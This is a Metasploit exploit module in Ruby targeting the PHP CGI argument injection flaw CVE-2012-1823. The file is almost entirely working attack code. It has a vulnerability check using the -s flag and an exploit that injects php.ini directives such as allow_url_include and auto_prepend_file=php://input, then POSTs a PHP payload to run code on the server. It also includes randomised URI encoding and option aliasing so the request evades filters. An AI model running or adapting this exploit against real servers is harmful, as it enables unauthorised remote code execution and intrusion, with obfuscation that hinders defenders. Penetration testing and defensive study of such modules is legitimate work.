##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PHP CGI Argument Injection',
			'Description'    => %q{
				When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
				an argument injection vulnerability.  This module takes advantage of
				the -d flag to set php.ini directives to achieve code execution.
				From the advisory: "if there is NO unescaped '=' in the query string,
				the string is split on '+' (encoded space) characters, urldecoded,
				passed to a function that escapes shell metacharacters (the "encoded in
				a system-defined manner" from the RFC) and then passes them to the CGI
				binary."
			},
			'Author'         => [ 'egypt', 'hdm', #original msf exploit
					      'jjarmoc' ],    #added URI encoding obfuscation
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => [
					[ 'CVE'	, '2012-1823' ],
					[ 'OSVDB', '81633'],
					[ 'URL'	, 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					# Arbitrary big number. The payload gets sent as an HTTP
					# response body, so really it's unlimited
					'Space'       => 262144, # 256k
				},
			'DisclosureDate' => 'May 03 2012',
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))

		register_options([
			OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
			OptInt.new('URIENCODING', [true, "Level of URI URIENCODING and padding (0 for minimum)",5]),
			], self.class)
	end

	# php-cgi -h
	# ...
	#   -s               Display colour syntax highlighted source.
	def check
		uri = target_uri.path

		uri.gsub!(/\?.*/, "")

		print_status("Checking uri #{uri}")

		response = send_request_raw({ 'uri' => uri })

		if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
			print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
			return Exploit::CheckCode::Unknown
		end

		response = send_request_raw({ 'uri' => uri + "?#{create_arg("-s")}"})
		if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
			return Exploit::CheckCode::Vulnerable
		end

		print_error("Server responded indicating it was not vulnerable")
		return Exploit::CheckCode::Safe
	end

	def exploit
		begin
			args = [
				rand_spaces(),
				create_arg("-d","allow_url_include=#{rand_php_ini_true}"),
				create_arg("-d","safe_mode=#{rand_php_ini_false}"),
				create_arg("-d","suhosin.simulation=#{rand_php_ini_true}"),
				create_arg("-d",'disable_functions=""'),
				create_arg("-d","open_basedir=none"),
				create_arg("-d","auto_prepend_file=php://input"),
				create_arg("-n")
			]

			qs = args.join()
			uri = "#{target_uri}?#{qs}"
			
			#print_status("URI: #{target_uri}?#{qs}")      # Uncomment to preview URI
			
			# Has to be all on one line, so gsub out the comments and the newlines
			payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
			response = send_request_cgi( {
				'method' => "POST",
				'global' => true,
				'uri'    => uri,
				'data'   => payload_oneline,
			}, 0.5)
			handler

		rescue ::Interrupt
			raise $!
		rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
			print_error("The target service unreachable")
		rescue ::OpenSSL::SSL::SSLError
			print_error("The target failed to negotiate SSL, is this really an SSL service?")
		end

	end
	
	def create_arg(arg, val = nil)
		if val 
			val = rand_encode(val) 
			val.gsub!('=','%3d')   # = must always be encoded
			val.gsub!('"','%2f')   # " too
		end
				
		ret = ''
		ret << "#{rand_spaces}"
		ret << "#{rand_opt_equiv(arg)}"
		ret << "#{rand_space}"
		ret << "#{rand_spaces}"
		ret << "#{val}"
		ret << "#{rand_space}"
	end
	
	def rand_opt_equiv(opt)
		# Returns a random equivilant option from mapping at http://www.php.net/manual/en/features.commandline.options.php
		opt_equivs = {
			"-d" => [
				"#{rand_dash}#{rand_encode("d")}", 
				"#{rand_dash}#{rand_dash}#{rand_encode("define")}"
				],
			"-s" => [
				"#{rand_dash}#{rand_encode("s")}", 
				"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlight")}", 
				"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlighting")}"
				], 
			"-T" => [
				"#{rand_dash}#{rand_encode("T")}", 
				"#{rand_dash}#{rand_dash}#{rand_encode("timing")}"
				],
			"-n" => [
				"#{rand_dash}#{rand_encode("n")}", 
				"#{rand_dash}#{rand_dash}#{rand_encode("no-php-ini")}"
				]
			}
	
		equivs = opt_equivs[opt]
		equivs ? equivs[rand(opt_equivs[opt].length)] : opt	
	
	end
	
	def rand_encode(string, max = string.length)
		# Randomly URI encode characters from string, up to max times.
		chars = [];
		if max > datastore["URIENCODING"] then max = datastore["URIENCODING"] end
		if string.length == 1 
			if rand(2) > 0
				chars << 0
			end
		else 
			if max > 0 
				max.times { chars << rand(string.length)}
			end
		end
		chars.uniq.sort.reverse.each{|index|  string[index] = Rex::Text.uri_encode(string[index,1], "hex-all")}
		string
	end
	
	def rand_spaces(num = datastore["URIENCODING"])
		ret = ''
		   num.times {
		   	ret << rand_space
		   }
		ret	   	
	end
	
	def rand_space
	  	datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+"
	end
	
	def rand_dash
		datastore["URIENCODING"] > 0 ? ["-","%2d","%2D"][rand(3)] : "-"
	end

	def rand_php_ini_false
		Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
	end

	def rand_php_ini_true
		Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
	end

end